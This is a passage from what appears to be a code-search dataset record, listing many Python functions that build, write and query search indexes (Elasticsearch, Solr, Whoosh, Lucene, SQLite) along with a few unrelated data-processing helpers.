chunk_iterator = _iterate_archives(json_file, buffer_size=min_chunk_size)\n for i, (arch, start_offset, end_offset) in enumerate(chunk_iterator):\n _LOGGER.info('processed %s chunk, offset: %s-%s' % (i, start_offset, end_offset))\n line_start, line_end = 0, 0\n with gzip.open(arch, mode='rb') as json_in:\n for line in json_in:\n data = json.loads(line.decode(_TEXT_ENCODING))\n line_start = line_end\n line_end = line_start + len(line)\n index = '%s|%s|%s|%s|%s' % (\n data[field],\n start_offset, end_offset - start_offset,\n line_start, line_end - line_start,\n )\n output_file.write(index.encode(_TEXT_ENCODING) + b'\\n')","def _commit_to_index( env_dict ):\n from indexer.solr import adapter as adapter_file\n\n adapter = adapter_file.adapter(env_dict)\n adapter.commit()\n if env_dict[\"indexer\"][\"optimise\"]:\n adapter.optimise(maxSegments=1)","def write_sub_index(self):\n for sie in self.subIndex:\n self.db_file.write(sie.get_representation())","def create_payload_index(self, collection_name: str, field_name: str):\n return self.openapi_client.points_api.update_points(\n name=collection_name,\n wait='true',\n collection_update_operations=FieldIndexOperationsAnyOf(create_index=field_name),\n )","def delete_index_field(DomainName=None, IndexFieldName=None):\n pass","def add_index(self, name, func):\n assert name not in self.indices\n info_name = 'index:%s:%s' % (self.info['name'], name)\n info = self.store._get_info(info_name, index_for=self.info['name'])\n index = Index(self, info, func)\n self.indices[name] = index\n if IndexKeyBuilder:\n self._index_keys = IndexKeyBuilder(self.indices.values()).build\n return index","def _es_push_indexes(self, content):\n for c in self.es_clients:\n c.create_index(content)","def store_index(self, index, doc_type, source_list, init_id):\n\n bulk_actions = []\n doc_id = init_id\n\n for source in source_list:\n data_body = ElasticSearchUtility.__index_data_body(index, doc_type, doc_id, source[\"_source\"])\n bulk_actions.append(data_body)\n doc_id += 1\n\n print 'inserting - ', len(bulk_actions)\n helpers.bulk(self.es, bulk_actions)","def index_fobj(fobj):\n doc = fileobject_to_dict(fobj)\n if doc is not None:\n #print doc\n SOLR.add(doc)\n else:\n pass","def search_for(self, indexname, field, term, outfield=None):\n url = \"{url_home}/{index}/{function}\".format(url_home=self.url_elastic, index=indexname, function=\"_search\")\n match = {field: dict(query=term)}\n data = dict(\n query=match\n )\n res = rw.get(url, headers=self.headers, data=json.dumps(data))\n return res","def _save_percolator(self):\n index = Content.search_objects.mapping.index\n query_filter = self.get_content().to_dict()\n\n q = {}\n\n if \"query\" in query_filter:\n q = {\"query\": query_filter.get(\"query\", {})}\n else:\n # We don't know how to save this\n return\n\n # We'll need this data, to decide which special coverage section to use\n if self.campaign:\n q[\"sponsored\"] = True\n q[\"start_date\"] = self.campaign.start_date\n q[\"end_date\"] = self.campaign.end_date\n\n es.index(\n index=index,\n doc_type=\".percolator\",\n body=q,\n id=self.es_id\n )","def _get_ea_index():\n ea_index_temp = {'Address': 5, 'Agency': 10, 'City': 4, 'Country': 3,\n 'Datacenter': 7, 'Division': 8, 'Interface Name': 13,\n 'Region_List': 2, 'Requester Email': 9, 'Site': 6,\n 'VLAN Description': 11, 'IPR Designation': 16}\n return ea_index_temp","def build_index(self):\r\n date_time('Building indexes in citations table')\r\n self.cursor.execute('DROP INDEX IF EXISTS IDX_citations ;')\r\n self.cursor.execute('CREATE INDEX IDX_citations ON citations (citation);')\r\n self.conn.commit()\r\n gc.collect()","def _add_as_field_if_not_in_index(\n self, df, skilldf, fields=[\"model\", \"observation\", \"variable\"]\n ):\n for field in reversed(fields):\n if (field == \"model\") and (self.n_models <= 1):\n continue\n if (field == \"variable\") and (self.n_variables <= 1):\n continue\n if field not in skilldf.index.names:\n unames = df[field].unique()\n if len(unames) == 1:\n skilldf.insert(loc=0, column=field, value=unames[0])\n return skilldf","def WriteIndexFasta(seqWithAnno, fpdb, dbname, fpindex, cntdbfile, #{{{\n record_offset, idSet, idtype):\n if idtype == 0:\n seqid = myfunc.GetSeqIDFromAnnotation(seqWithAnno)\n elif idtype == 1:\n seqid = myfunc.GetFirstWord(seqWithAnno.lstrip(\">\"))\n if seqid in idSet:\n return (fpdb, record_offset)\n else:\n seqWithAnno+=\"\\n\"\n if fpdb == None:\n dbfile=dbname+\"%d.db\"%(cntdbfile)\n fpdb=open(dbfile, \"wb\")\n print \"dbfile %s is created.\"%dbfile\n fpindex.write(\"%s %d %d %d\\n\"%(seqid, cntdbfile, record_offset,\n len(seqWithAnno)))\n fpdb.write(\"%s\"%seqWithAnno)\n record_offset += len(seqWithAnno)\n idSet.add(seqid)\n return (fpdb,record_offset)","def calcumul_index(path,x,name_champ_label,indice2,list_drop,pathlist_names_feature):\n sql=sqlite3.connect(path)\n df=pd.read_sql_query(\"SELECT * FROM output\", sql)\n df=df.groupby(\"originfid\").mean()\n if 'band' in df.columns[6] :\n globals()[\"df%s\"%x]=col_sqlite(path,x,list_drop,pathlist_names_feature)\n label = globals()[\"df%s\"%x][name_champ_label]\n globals()[\"%s\"%x]=globals()[\"df%s\"%x].astype(float)\n print(indice2)\n if indice2 not in ['NDVI', 'NDWI','SM','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1']:\n name_indice=indice2\n band1_indice=input(\"band ? :\")\n band2_indice=input(\"band ? :\")\n df_b1 = globals()[\"%s\"%x].filter(like=band1_indice)\n df_b2 = globals()[\"%s\"%x].filter(like=band2_indice)\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\n globals()[\"df_%s\"%indice2] = df_indice.cumsum(axis=1)\n \n else:\n df_indice = globals()[\"df%s\"%x].filter(like=indice2)\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\n df_indice_col=df_indice_col.iloc[:-1]\n globals()[\"df_%s\"%indice2] = df_indice_col.cumsum(axis=1)\n \n globals()[\"df_%s\"%indice2][name_champ_label]=label\n globals()[\"df_%s\"%indice2]=globals()[\"df_%s\"%indice2].astype(float)\n globals()[\"df_mean_%s\"%indice2]=globals()[\"df_%s\"%indice2].groupby(name_champ_label).mean().T \n globals()[\"df_mean_%s\"%indice2].index=pd.to_datetime(globals()[\"df_mean_%s\"%indice2].index,format=\"%Y%m%d\")\n else :\n label = df[name_champ_label]\n print(indice2)\n if indice2 not in ['ndvi', 'ndwi','asc_vv','des_vv','asc_vh','des_vh','asc_userfeature1','des_userfeature1','SM']:\n name_indice=indice2\n band1_indice=input(\"band ? :\")\n band2_indice=input(\"band ? :\")\n df_b1 = df.filter(like=band1_indice)\n df_b2 = df.filter(like=band2_indice)\n df_b1_col = df_b1.rename(columns=lambda x: x[-8:])\n df_b2_col = df_b2.rename(columns=lambda x: x[-8:])\n df_indice = (df_b2_col - df_b1_col)/(df_b2_col + df_b1_col)\n globals()[\"df_%s\"%indice2] = df_indice.cumsum(axis=1)\n \n else:\n df_indice = df.filter(like=indice2)\n df_indice_col = df_indice.rename(columns=lambda x: x[-8:])\n globals()[\"df_%s\"%indice2] = df_indice_col.cumsum(axis=1)\n \n globals()[\"df_%s\"%indice2][name_champ_label]=label\n globals()[\"df_mean_%s\"%indice2]=globals()[\"df_%s\"%indice2].groupby(name_champ_label).mean().T\n globals()[\"df_mean_%s\"%indice2].index=pd.to_datetime(globals()[\"df_mean_%s\"%indice2].index,format=\"%Y%m%d\")\n return globals()[\"df_mean_%s\"%indice2], globals()[\"df_%s\"%indice2]","def _index(self):\n return es.index(CLUSTER_NAME, 'record', self.dict, id=self.uuid)","def field_index(self, field):\r\n idx = self.fields.index(field)\r\n if self.index:\r\n idx = self.index[idx]\r\n return idx","def insert(input_json): \n client, index_name = connection_es()\n datetime_ = datetime.datetime.now().strftime(\"%Y.%m.%d_%H:%M:%S\")\n fs_metadata_name = index_name+datetime_\n res = client.index(index = fs_metadata_name, doc_type = 'nvisnx', body = input_json)\n return res","def generate_inv_index(people):\n pass","def save_index(self, fn):\n utils.save_obj(self.inverted_idx, fn)","def _compute_tax(self):\n for line in self:\n line.tax = (line.amount_untaxed * 14) / 100","def step010():\n logger.logMessage('Begin: Getting candidate documents from elasticsearch')\n\n def limitHour(d):\n thish = d.start_time.tz_localize(tz='UTC')\n nexth = thish + dt.timedelta(hours=1)\n return { 'range': { 'time': {'gte':thish, 'lt':nexth } } }\n \n conn = sql.create_engine(pgurl)\n client = es.Elasticsearch(hostlist)\n dupesDF = pd.read_sql_table('weather_dupes',conn).set_index('time')\n hours =dupesDF.to_period('H').reset_index()['time'].unique()\n ranges = [ limitHour(h) for h in hours ]\n query = { \n '_source': [ 'tsa','time' ],\n 'query': { \n 'bool': { 'should': ranges } \n } \n }\n #logger.logMessage(level='DEBUG',message='Query body: {0}'.format(query))\n hits = eshelp.scan(client=client,index=indexName,doc_type='doc',query=query)\n numRecs = 0\n with open(candidatesFile,'w') as f:\n for h in hits:\n src = h['_source']\n tsa = int(src['tsa'])\n time = src['time']\n docid = h['_id']\n idx = h['_index']\n f.write(f'{tsa:014d};{time:25s};{docid:32s};{idx:32s}\\n') \n numRecs += 1\n if numRecs % 1000 == 0:\n logger.logMessage(level='DEBUG',message=\"{0:9d} records written\".format(numRecs))\n logger.logMessage(message=\"{0:9d} total records written\".format(numRecs))\n logger.logMessage('End: Getting candidate documents from elasticsearch')","def indexCranFull(path, writer):\n # Title field type\n tft = FieldType()\n tft.setIndexed(True)\n tft.setStored(True)\n tft.setTokenized(TokenizeFields)\n tft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS) #only index the document and frequency data\n\n\n # Author field type\n aft = FieldType()\n aft.setIndexed(True)\n aft.setStored(True)\n aft.setTokenized(TokenizeFields)\n aft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS) #index the document, term frequency and position data\n\n\n # Content field type\n cft = FieldType()\n cft.setIndexed(True)\n cft.setStored(True)\n cft.setTokenized(True)\n cft.setIndexOptions(FieldInfo.IndexOptions.DOCS_AND_FREQS_AND_POSITIONS)\n\n txt = open(path)\n \"\"\"\n cran documents are listed in this order:\n .I # -> ignore\n .T -> starting on the next line, multi-line title\n .A -> on the next line, multiple authored separated by 'and'\n .B -> on the next line, ignore\n .W -> starting on the next line, multi-line body (content)\n \"\"\"\n docid = 0\n debug = False\n while True: # in each iteration, read all the lines corresponding to a document\n line = txt.readline()\n\n if line == '':\n break\n\n if docid == 1400:\n debug = True\n\n if line.startswith('.I'):\n docid = int(line.split(' ')[1].strip())\n continue\n\n if line.startswith('.T'):\n title = ''\n while True:\n line = txt.readline()\n if line.startswith('.A'):\n break\n title = ' '.join([title, line]).strip()\n\n line = txt.readline()\n # authors = ' '.join(line.split('and'))\n authors = line.strip()\n\n #.B, its corresponding line and .W\n txt.readline()\n txt.readline()\n txt.readline()\n body = ''\n while True:\n line = txt.readline()\n if line.startswith('.I'):\n docid = int(line.split(' ')[1].strip())\n break\n if line == '':\n break\n body = ' '.join([body, line]).strip()\n\n doc = Document()\n doc.add(Field(title_field, title, tft))\n doc.add(Field(author_field, authors, aft))\n doc.add(Field(content_field, body, cft))\n doc.add(IntField(docid_field, docid, Field.Store.YES))\n writer.addDocument(doc)","def index(self, name, file, passages, index_name=\"default\"):\n raise NotImplementedError()","def clean_and_save_country(country_name, df):\n drop_columns = ['Lat', \n 'Long', \n 'Province/State']\n\n df.drop(columns=drop_columns, inplace = True)\n df_group = df.groupby(['Country/Region'])\n\n country = df_group.get_group(country_name)\n country.drop(columns = ['Country/Region'], inplace=True)\n country = country.agg(['sum'])\n country = country.T\n country.reset_index(level=0, inplace=True)\n country['index'] = pd.to_datetime(country['index'])\n country.rename(columns={'index': 'date'}, inplace=True)\n\n country.to_csv('../data/' + country_name + '_timeseries.csv', index=False)","def createSpatialIndex(self, schema, table, column):\r\n index_name = '{}_{}_idx'.format(table, column)\r\n return self.runSql('CREATE INDEX {} ON {} USING gist ({})'.format(index_name, self.encodeTableName(schema, table), self.encodeColumnName(column)))","def index(self, model_name, field_name, force=False):\n model = self.get_model(model_name)\n field = model[field_name]\n if 'index' in field:\n if field['index'] is False and force is False:\n raise ModelIndexError(\n \"Field definition has index: False. \"\n \"Use force=True to override.\")\n collection = self.get_collection(model_name)\n collection.ensure_index(field_name)","def create_index(es_object, index_name):\n created = False\n \"\"\" index settings \"\"\"\n settings = {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 0\n },\n \"mappings\": {\n \"physicians\": {\n \"dynamic\": \"strict\",\n \"properties\": {\n \"overview\": {\n \"type\": \"text\"\n },\n \"full_name\": {\n \"type\": \"text\"\n },\n \"years_of_practice\": {\n \"type\": \"text\"\n },\n \"language\": {\n \"type\": \"text\"\n },\n \"office_location\": {\n \"type\": \"text\"\n },\n \"hospital_affiliation\": {\n \"type\": \"text\"\n },\n \"specialties\": {\n \"type\": \"text\"\n },\n \"education_and_medical_training\": {\n \"type\": \"text\"\n },\n \"certification_and_licensure\": {\n \"type\": \"text\"\n },\n }\n }\n }\n }\n\n try:\n if not es_object.indices.exists(index_name):\n # Ignore 400 means to ignore \"Index Already Exist\" error.\n es_object.indices.create(index=index_name, ignore=400, body=settings)\n print('Created Index')\n created = True\n except Exception as ex:\n print(str(ex))\n finally:\n return created","def _compute_tax_id(self):\n for order in self:\n order.order_line._compute_tax_id()","def build_index():\n print \"building index..\"\n\n index_dir = INDEX_DIR_CODE\n if TEST_COLLECTION:\n index_dir = INDEX_DIR_TEST\n CR_DOCS_DB.drop()\n CR_DOCS_DB.ensure_index(\"code_id\", unique=True)\n if os.path.exists(index_dir):\n shutil.rmtree(index_dir)\n os.mkdir(index_dir)\n schema = get_schema()\n storage = FileStorage(index_dir)\n ix = storage.create_index(schema)\n w = ix.writer()\n print \"finding posts..\"\n posts_with_code = POSTS_DB.find({\"answers.Body\": {\"$regex\": \"/.*<code>.*/\"}}, timeout=False)\n print \"adding files..\"\n q = add_from_file(w) if TEST_COLLECTION else 0\n for i, question in enumerate(posts_with_code):\n if TEST_COLLECTION:\n q += add_one_code(w, question, q)\n if q > 999:\n break\n else:\n q += add_doc(w, question)\n if i % 1000 == 0 and not i == 0:\n print \"commit number:\", str(i/1000), \"with\", q, \"codes\"\n w.commit()\n w = ix.writer()\n\n w.commit()\n posts_with_code.close()\n print \"the index was built!\"\n return ix","def write_field(self, fieldname):\n raise NotImplementedError","def index_placetypes(self, file_path):\n\n datadir = f'{file_path}/data'\n logging.debug(\"Indexing %s\", datadir)\n\n docs = []\n counter = 0\n for root, _, files in os.walk(datadir):\n for file in files:\n if '.json' in file:\n placefile = os.path.join(root, file)\n logging.info(\"Loading %s\", placefile)\n with open(placefile, encoding='UTF-8') as ifh:\n doc = json.load(ifh)\n doc['_index'] = self.index\n doc['_id'] = doc['id']\n docs.append(doc)\n counter = counter + 1\n\n if docs:\n helpers.bulk(self.esclient, docs)\n\n logging.info(\"Placetypes added %s docs\", counter)\n logging.info(\"Finished indexing %s\", datadir)","def entities_write_index(schema):\n schema = model.get(schema)\n return schema_index(schema, SETTINGS.INDEX_WRITE)","def get_full_tax(idx):\n logging.info('Compiling the taxonomy for all genomes...')\n tax_idx = collections.defaultdict(dict)\n for cluster_id,v in idx.items():\n for tax,vv in v.items():\n for genome_id,x in vv.items():\n tax_idx[tax][genome_id] = x['genome_len']\n n_genomes = 0\n for tax,v in tax_idx.items():\n n_genomes += len(v.keys())\n logging.info(' Total number of genomes: {}'.format(n_genomes))\n # return\n return tax_idx","def index(self, field):\r\n\r\n try:\r\n index = self._field_names.index(unicode(field))\r\n except ValueError:\r\n raise KeyError(\"Field list has no field with name '%s'\" % unicode(field))\r\n\r\n return index","def write_index_data(dir,data):\n db = IndexDb(dir)\n result = db.write_to_index(data) \n return result","def index_terms(self):\n [[self.set_postings(term, id) for term in NLProcessor.process(doc)] for id, doc in\n self.doc_store.dict.iteritems()]","def create_indexes(create_func):\n\tfor set_name, index_path, index_name in zip(SET_NAMES, INDEX_PATHS, INDEX_NAMES):\n\t\tcreate_func(set_name, index_path, index_name)","def fdaAssay(request):\n\tip = get_ip(request, right_most_proxy=True)\n\tIpAddressInformation.objects.create(ip_address=ip)\n\n\tcontextres =[]\n\t#build elasticsearch query to search data\n\tquery={\"query\": {\n\t\t\"bool\": {\n\t\t\t\"must\": [\n\t\t\t\t{\"match\": {\"Assays for FDA approved Marker\": \"Yes\"}},\n\t\t\t\t{\"match\": {\"UniprotKb entry status\": \"Yes\"}}\n\t\t\t]\n\t\t}\n\t}\n\t}\n\t#generate random file name to store search result in json format\n\tnameFIle=names.get_first_name()\n\tjsonfilename=nameFIle+'_basic_search_fda.json'\n\tjsonfilepath=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'results', jsonfilename)\n\tjsonfileoutput= open(jsonfilepath,'w')\n\tjfinaldata=[]\n\tes.indices.refresh(index=\"mrmassaydb-index\")\n\t#elasticsearch will search data\n\tres=helpers.scan(client=es,scroll='2m',index=\"mrmassaydb-index\", doc_type=\"mrmassaydb-type\",query=query,request_timeout=30)\n\tjfinaldata=[]\n\t#if data is valid based on uniprotkb release then it will display\n\tfor i in res:\n\t\tjdic=i['_source']\n\t\tjdic={str(tkey):force_text(tvalue) for tkey,tvalue in jdic.items()}\n\t\tif jdic[\"UniprotKb entry status\"] ==\"Yes\" and jdic['UniProtKB Accession'] !='502':\n\t\t\tjdic[\"PPI\"] =\"View\"\n\t\t\tjdic[\"sel\"] =\"\"\n\t\t\tjdic[\"Drug Bank\"]=jdic[\"Drug Bank\"].replace('\\\\','')\n\t\t\tjdic[\"Drug Bank\"]=jdic[\"Drug Bank\"].replace('<br>','|')\n\t\t\tjdic[\"SRMAtlas URL\"]=jdic[\"SRMAtlas URL\"].replace('\\\\','')\n\t\t\tjdic[\"Passel URL\"]=jdic[\"Passel URL\"].replace('\\\\','')\n\t\t\tjdic[\"CPTAC URL\"]=jdic[\"CPTAC URL\"].replace('\\\\','')\n\t\t\tjdic[\"Panoramaweb URL\"]=jdic[\"Panoramaweb URL\"].replace('\\\\','')\n\t\t\tjdic[\"PeptideTracker URL\"]=jdic[\"PeptideTracker URL\"].replace('\\\\','')\n\t\t\t#if jdic[\"Pathway Name\"].lower() !='na':\n\t\t\t#\tjdic[\"Pathway Name\"]=re.sub(r\"(\\w)([A-Z])\",r\"\\1|\\2\",jdic[\"Pathway Name\"])\n\t\t\tjdic[\"Mean Concentration\"] =jdic[\"Mean Concentration\"].replace('fmol/','fmol/µ')\n\t\t\tjdic[\"Concentration\"] =jdic[\"Concentration\"].replace('fmol/','fmol/µ')\n\t\t\tjfinaldata.append(jdic)\n\tes.indices.refresh(index=\"mrmassaydb-index\")\n\t#checking any result generated by database\n\tfoundHits=len(jfinaldata)\n\t#storing only 10000 rows in json format\n\tjson.dump(jfinaldata[:10000],jsonfileoutput)\n\tjsonfileoutput.close()\n\t# if result found then do other job\n\tif foundHits >0:\n\t\tstatsummary=summaryStatcal(jfinaldata) # sent data to this funcation for generating stat\n\t\tpathwaychart=statsummary['pathwaychart']\n\t\tpathwaychart=[i[:2] for i in pathwaychart]\n\t\tspecieslist=statsummary['specieslist']\n\t\ttotallist=statsummary['total']\n\t\tsubcell=statsummary['subcell']\n\t\tgodic=statsummary['godic']\n\t\tjvennprot=statsummary['jevennstat'][0]\n\t\tjvennpep=statsummary['jevennstat'][1]\n\t\tmrmdatabase=statsummary['jevennstat'][2]\n\t\tsortedgodic=OrderedDict(sorted(godic.items(), key=lambda t: t[1])) # sorting GO data\n\t\tupdatedgodic=dict(list(sortedgodic.items()))\n\t\tpepseqdataseries=ast.literal_eval(json.dumps(statsummary['pepseqdataseries'])) #dumping data into json format\n\t\tprodataseries=statsummary['prodataseries']\n\t\tunqisostat=statsummary['unqisostat']\n\t\tjsonfilepathStat=os.path.join(settings.BASE_DIR, 'resultFile', 'jsonData','resultJson', 'basicsearch', 'statsummary', jsonfilename) #storing stat result in json format\n\t\tjsonfileoutputStat= open(jsonfilepathStat,'w')\n\t\tjson.dump(statsummary,jsonfileoutputStat)\n\t\tjsonfileoutputStat.close()\n\t\turlname=\"'/resultFile/jsonData/resultJson/basicsearch/results/\"+jsonfilename+\"'\"\n\n\t\tcontextindex={\n\t\t\t\"filename\":urlname,\"colname\":json.dumps(colname),'foundHits':foundHits,\n\t\t\t'pathwaychart':pathwaychart[:11],'specieslist':specieslist,\n\t\t\t'totallist':totallist,'subcell':subcell,\n\t\t\t'updatedgodic':updatedgodic,'pepseqdataseries':pepseqdataseries,\n\t\t\t'prodataseries':prodataseries,'unqisostat':unqisostat,\n\t\t\t'jvennprot':json.dumps(jvennprot),'jvennpep':json.dumps(jvennpep),'jvennmrmdb':json.dumps(mrmdatabase)\n\t\t\t}\n\t\treturn render(request,'fdaAssay.html',contextindex)\n\telse:\n\t\treturn render(request,'fdaAssay.html',{'foundHits':foundHits})","def _extend_contiguous_traj_field(self, run_idx, traj_idx, field_path, field_data):\n\n traj_grp = self.h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\n field = traj_grp[field_path]\n\n # make sure this is a feature vector\n assert len(field_data.shape) > 1, \\\n \"field_data must be a feature vector with the same number of dimensions as the number\"\n\n # of datase new frames\n n_new_frames = field_data.shape[0]\n\n # check the field to make sure it is not empty\n if all([i == 0 for i in field.shape]):\n\n # check the feature shape against the maxshape which gives\n # the feature dimensions for an empty dataset\n assert field_data.shape[1:] == field.maxshape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n # if it is empty resize it to make an array the size of\n # the new field_data with the maxshape for the feature\n # dimensions\n feature_dims = field.maxshape[1:]\n field.resize( (n_new_frames, *feature_dims) )\n\n # set the new data to this\n field[0:, ...] = field_data\n\n else:\n # make sure the new data has the right dimensions against\n # the shape it already has\n assert field_data.shape[1:] == field.shape[1:], \\\n \"field feature dimensions must be the same, i.e. all but the first dimension\"\n\n\n # append to the dataset on the first dimension, keeping the\n # others the same, these must be feature vectors and therefore\n # must exist\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\n # add the new data\n field[-n_new_frames:, ...] = field_data","def create_index_item(doc, destination_index):\n\n action = { 'index' : { '_index' : destination_index, '_type' : doc['_type'] } }\n data = doc['_source']\n return action, data","def country_lookup(input_file, output_file, field_index):\n # Load existing output into memory\n # This is so if script crashes half way through it picks up where it left off.\n # (Touch output file before starting)\n existingOutput = []\n with open(output_file) as read_out_fp:\n csvreader = csv.reader(read_out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\n header = next(csvreader)\n for row in csvreader:\n existingOutput.append(row)\n\n # Main loop over input\n with open(input_file) as in_fp:\n with open(output_file, \"w\", newline=\"\") as out_fp:\n csvreader = csv.reader(in_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR)\n csvwriter = csv.writer(out_fp, delimiter=CSV_DELIMITER, quotechar=CSV_QUOTECHAR, quoting=csv.QUOTE_MINIMAL)\n header = next(csvreader)\n header.append('COUNTRY-FROM-LAT-LNG')\n csvwriter.writerow(header)\n\n for row in csvreader:\n\n # If there is data for this already in output, just use that and don't look up again\n if len(existingOutput) > 0:\n\n existing_row = existingOutput.pop(0)\n\n # The existing row we got from output should match the input row we are trying to process\n # Let's check that!\n if existing_row[0] != row[0] or \\\n existing_row[1] != row[1] or \\\n existing_row[2] != row[2] or \\\n existing_row[3] != row[3] or \\\n existing_row[4] != row[4] or \\\n existing_row[5] != row[5]:\n print(\"EXISTING ROW PROBLEM\")\n print(', '.join(existing_row))\n print(', '.join(row))\n exit(-1)\n\n csvwriter.writerow(existing_row)\n\n # No data already - we need to look up ourselves\n else:\n\n # Some rows are empty latlng\n if row[field_index].strip():\n\n latlngfielddata = row[field_index].strip()\n # Some data entries have multiple spaces between lat lng, some have 3,\n # So this line is done twice to always bring it back to 1 space.\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\n latlngfielddata = latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\n lat, lng = latlngfielddata.split(LATLNG_FIELD_SPLIT_CHAR)\n url = 'http://api.geonames.org/countryCode?lat={}&lng={}&username={}'.format(lat.strip(), lng.strip(), GEONAMES_USERNAME)\n r = requests.get(url)\n if r.status_code != 200:\n print(\"API PROBLEM\")\n print(', '.join(row))\n print(r.status_code)\n print(r.text)\n exit(-1)\n\n if r.text.strip() == 'ERR:15:no country code found':\n row.append('')\n elif r.text.startswith(\"ERR\"):\n print(\"API PROBLEM\")\n print(', '.join(row))\n print(r.status_code)\n print(r.text)\n exit(-1)\n else:\n row.append(r.text.strip())\n else:\n row.append('')\n\n csvwriter.writerow(row)\n\n time.sleep(SLEEP)\n\n #exit()","def write_to_Index_BM25F(self, term_dict_bm25f, inverted_indexes):\n for term in term_dict_bm25f.get_keys():\n if (len(term) > 255):\n continue\n\n cord_uid = term_dict_bm25f.get_value(term)[0]\n field_dict = term_dict_bm25f.get_value(term)[1]\n \n if term in inverted_indexes:\n inverted_indexes[term][cord_uid] = field_dict\n else:\n inverted_indexes[term] = dict()\n inverted_indexes[term][cord_uid] = field_dict\n return inverted_indexes","def update_index(signum):\n cdx = redis_cli.zrange('ipfs:cdxj', 0, -1)\n cdx = ''.join(cdx)\n buff = BytesIO(cdx)\n\n # Add New Index\n res = ipfs_api.add(CustomNameStream(buff, 'index.cdxj'))\n print('Updating Index: ' + str(res))\n\n # Register with IPNS\n res = ipfs_api.name_publish(res['Hash'])\n print res","def create_index_tfidf(lines, numDocuments):\n \n index=collections.defaultdict(list)\n tf=collections.defaultdict(list) #term frequencies of terms in documents (documents in the same order as in the main index)\n df=collections.defaultdict(int) #document frequencies of terms in the corpus\n idf=collections.defaultdict(float)\n with Bar('Creating tf-idf index', max=len(lines)) as bar:\n for key in lines:\n page_id = key \n terms = getTerms(lines[key]) \n\n ## create the index for the **current page** and store it in termdictPage\n ## termdictPage in form ==> { ‘term1’: [currentdoc, [list of positions]], ...,‘termn’: [currentdoc, [list of positions]]}\n\n termdictPage={}\n\n for position, term in enumerate(terms): \n try:\n # if the term is already in the dict append the position to the corrisponding list\n termdictPage[term][1].append(position) \n except:\n # Add the new term as dict key and initialize the array of positions and add the position\n termdictPage[term]=[page_id, array('I',[position])] \n\n #normalize term frequencies\n norm=0\n for term, posting in termdictPage.items(): \n # posting ==> [currentdoc, [list of positions]] \n norm+=len(posting[1])**2\n norm=math.sqrt(norm)\n\n\n #calculate the tf(dividing the term frequency by the above computed norm) and df weights\n for term, posting in termdictPage.items(): \n # append the tf for current term (tf = term frequency in current doc/norm)\n tf[term].append(np.round(len(posting[1])/norm,4)) ## SEE formula (1) above\n #increment the document frequency of current term (number of documents containing the current term)\n df[term] += 1 \n\n #merge the current page index with the main index\n for termpage, postingpage in termdictPage.items():\n index[termpage].append(postingpage)\n\n # Compute idf following the formula (3) above. HINT: use np.log\n bar.next()\n for term in df:\n idf[term] = np.round(np.log(float(numDocuments/df[term])),4)\n \n return (index, tf, df, idf)","def _init_index(self):\n\n if self._check_idx:\n self._index = bamnostic.bai.Bai(self._index_path)\n self.__nocoordinate = self._index.n_no_coor\n self.__mapped = sum(self._index.unmapped[mapped].n_mapped for mapped in self._index.unmapped) + self.nocoordinate\n self.__unmapped = sum(self._index.unmapped[unmapped].n_unmapped for unmapped in self._index.unmapped) + self.nocoordinate","def _save_rep_prof_index_internally(self):\n\n self.data.solar_meta[self.__solar_rpi_n] = self.data.solar_meta.index\n self.data.wind_meta[self.__wind_rpi_n] = self.data.wind_meta.index","def _add_traj_field_data(self,\n run_idx,\n traj_idx,\n field_path,\n field_data,\n sparse_idxs=None,\n ):\n\n # get the traj group\n traj_grp = self._h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\n\n # if it is a sparse dataset we need to add the data and add\n # the idxs in a group\n if sparse_idxs is None:\n\n # first require that the dataset exist and is exactly the\n # same as the one that already exists (if indeed it\n # does). If it doesn't raise a specific error letting the\n # user know that they will have to delete the dataset if\n # they want to change it to something else\n try:\n dset = traj_grp.require_dataset(field_path, shape=field_data.shape, dtype=field_data.dtype,\n exact=True,\n maxshape=(None, *field_data.shape[1:]))\n except TypeError:\n raise TypeError(\"For changing the contents of a trajectory field it must be the same shape and dtype.\")\n\n # if that succeeds then go ahead and set the data to the\n # dataset (overwriting if it is still there)\n dset[...] = field_data\n\n else:\n sparse_grp = traj_grp.create_group(field_path)\n # add the data to this group\n sparse_grp.create_dataset(DATA, data=field_data,\n maxshape=(None, *field_data.shape[1:]))\n # add the sparse idxs\n sparse_grp.create_dataset(SPARSE_IDXS, data=sparse_idxs,\n maxshape=(None,))"],"string":"[\n \"def _do_index_fields(self, doc, generator, obj, obj_weight):\\n for field in self.fields + self.tags:\\n # Trying to resolve field value or skip it\\n # Отладочка:\\n # print(field, field.resolve(obj))\\n try:\\n value = field.resolve(obj)\\n if value is None:\\n continue\\n except AttributeError:\\n continue\\n if field.prefix:\\n fvalue = field.convert(value)\\n doc.add_value(field.number, fvalue)\\n prefix = smart_text(field.get_tag())\\n value = smart_text(value)\\n generator.index_text_without_positions(value, field.weight*obj_weight, prefix)\\n if prefix: # if prefixed then also index without prefix\\n generator.index_text_without_positions(value, field.weight*obj_weight)\",\n \"def create_index():\",\n \"def writeIndex(map_data, field_name, maximize=True):\\n ids = map_data['id']\\n values = map_data[field_name]\\n\\n nominal_weight = 1.0 if maximize else -1.0\\n index = values / (nominal_weight * values.max())\\n\\n toJson(field_name, pd.DataFrame({'id': ids, 'counts': index}))\",\n \"def define_index_field(DomainName=None, IndexField=None):\\n pass\",\n 